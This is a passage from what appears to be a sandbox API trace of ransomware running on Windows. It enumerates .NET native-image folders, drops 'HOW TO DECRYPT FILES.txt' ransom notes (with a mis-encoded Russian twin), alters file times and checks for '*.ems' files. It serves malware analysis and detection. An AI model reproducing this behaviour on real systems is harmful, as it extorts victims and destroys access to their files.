(pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\*.*") returned="*.*" [0124.673] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\", lpString2="e4aec2199c025a5f8222ae9b7550c974" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974" [0124.673] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7fe0250, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.673] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.674] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7fe0250, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.674] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.674] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.674] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fba0f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7fba0f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x8ea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationClient.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 1 [0124.674] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.674] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationClient.ni.dll") returned -1 [0124.674] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationClient.ni.dll") returned -1 [0124.674] lstrcmpiA (lpString1="", lpString2="UIAutomationClient.ni.dll") returned -1 [0124.674] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\*.*") returned="*.*" [0124.674] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\" [0124.674] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\") returned="" [0124.674] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\HOW TO DECRYPT FILES.txt" [0124.674] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomationclient\\e4aec2199c025a5f8222ae9b7550c974\\how to decrypt files.txt")) returned 0xffffffff [0124.675] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomationclient\\e4aec2199c025a5f8222ae9b7550c974\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.689] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.689] CloseHandle (hObject=0x90) returned 1 [0124.689] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\", lpString2="UIAutomationClient.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\UIAutomationClient.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\UIAutomationClient.ni.dll" [0124.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\UIAutomationClient.ni.dll", pszSpec="*.ems") returned 0 [0124.689] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7fe0250, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.ni.dll.aux", cAlternateFileName="UIAUTO~1.AUX")) returned 1 [0124.689] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.690] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationClient.ni.dll.aux") returned -1 [0124.690] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationClient.ni.dll.aux") returned -1 [0124.690] lstrcmpiA (lpString1="", lpString2="UIAutomationClient.ni.dll.aux") returned -1 [0124.690] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\UIAutomationClient.ni.dll") returned="UIAutomationClient.ni.dll" [0124.690] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\" [0124.690] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\") returned="" [0124.690] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\HOW TO DECRYPT FILES.txt" [0124.690] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomationclient\\e4aec2199c025a5f8222ae9b7550c974\\how to decrypt files.txt")) returned 0x20 [0124.690] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\", lpString2="UIAutomationClient.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\UIAutomationClient.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\UIAutomationClient.ni.dll.aux" [0124.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\UIAutomationClient.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.691] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7fe0250, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.ni.dll.aux", cAlternateFileName="UIAUTO~1.AUX")) returned 0 [0124.691] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.691] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7fe0250, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e4aec2199c025a5f8222ae9b7550c974", cAlternateFileName="E4AEC2~1")) returned 0 [0124.691] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.691] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7011d6b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7011d6b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490055, dwReserved1=0x750041, cFileName="UIAutomationProvider", cAlternateFileName="UIAUTO~2")) returned 1 [0124.691] lstrcmpA (lpString1=".", lpString2="UIAutomationProvider") returned -1 [0124.691] lstrcmpA (lpString1="..", lpString2="UIAutomationProvider") returned -1 [0124.691] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.692] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="UIAutomationProvider" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider" [0124.692] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7011d6b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7011d6b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.739] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.739] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7011d6b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7011d6b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.743] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.743] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.743] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7011d6b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7011d6b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1af66d34b505ca36c35a3e8d91cbba7d", cAlternateFileName="1AF66D~1")) returned 1 [0124.743] lstrcmpA (lpString1=".", lpString2="1af66d34b505ca36c35a3e8d91cbba7d") returned -1 [0124.743] lstrcmpA (lpString1="..", lpString2="1af66d34b505ca36c35a3e8d91cbba7d") returned -1 [0124.743] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\*.*") returned="*.*" [0124.743] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\", lpString2="1af66d34b505ca36c35a3e8d91cbba7d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d" [0124.744] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7011d6b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7011d6b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.744] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.744] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7011d6b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7011d6b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.745] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.745] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.745] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7011d6b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7011d6b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x21600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationProvider.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 1 [0124.745] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.745] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationProvider.ni.dll") returned -1 [0124.745] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationProvider.ni.dll") returned -1 [0124.745] lstrcmpiA (lpString1="", lpString2="UIAutomationProvider.ni.dll") returned -1 [0124.745] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\*.*") returned="*.*" [0124.745] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\" [0124.745] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\") returned="" [0124.745] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\HOW TO DECRYPT FILES.txt" [0124.745] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomationprovider\\1af66d34b505ca36c35a3e8d91cbba7d\\how to decrypt files.txt")) returned 0xffffffff [0124.745] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomationprovider\\1af66d34b505ca36c35a3e8d91cbba7d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.755] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.756] CloseHandle (hObject=0x90) returned 1 [0124.756] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\", lpString2="UIAutomationProvider.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\UIAutomationProvider.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\UIAutomationProvider.ni.dll" [0124.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\UIAutomationProvider.ni.dll", pszSpec="*.ems") returned 0 [0124.756] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7011d6b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7011d6b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.ni.dll.aux", cAlternateFileName="UIAUTO~1.AUX")) returned 1 [0124.756] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.756] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationProvider.ni.dll.aux") returned -1 [0124.757] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationProvider.ni.dll.aux") returned -1 [0124.757] lstrcmpiA (lpString1="", lpString2="UIAutomationProvider.ni.dll.aux") returned -1 [0124.757] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\UIAutomationProvider.ni.dll") returned="UIAutomationProvider.ni.dll" [0124.757] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\" [0124.757] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\") returned="" [0124.757] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\HOW TO DECRYPT FILES.txt" [0124.757] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\uiautomationprovider\\1af66d34b505ca36c35a3e8d91cbba7d\\how to decrypt files.txt")) returned 0x20 [0124.757] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\", lpString2="UIAutomationProvider.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\UIAutomationProvider.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\UIAutomationProvider.ni.dll.aux" [0124.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\UIAutomationProvider.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.758] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7011d6b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7011d6b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.ni.dll.aux", cAlternateFileName="UIAUTO~1.AUX")) returned 0 [0124.758] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.758] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7011d6b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7011d6b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1af66d34b505ca36c35a3e8d91cbba7d", cAlternateFileName="1AF66D~1")) returned 0 [0124.758] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.758] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70038e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70038e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490055, dwReserved1=0x750041, cFileName="UIAutomationTypes", cAlternateFileName="UIAUTO~1")) returned 1 [0124.758] lstrcmpA (lpString1=".", lpString2="UIAutomationTypes") returned -1 [0124.758] lstrcmpA (lpString1="..", lpString2="UIAutomationTypes") returned -1 [0124.758] PathFindFileNameA 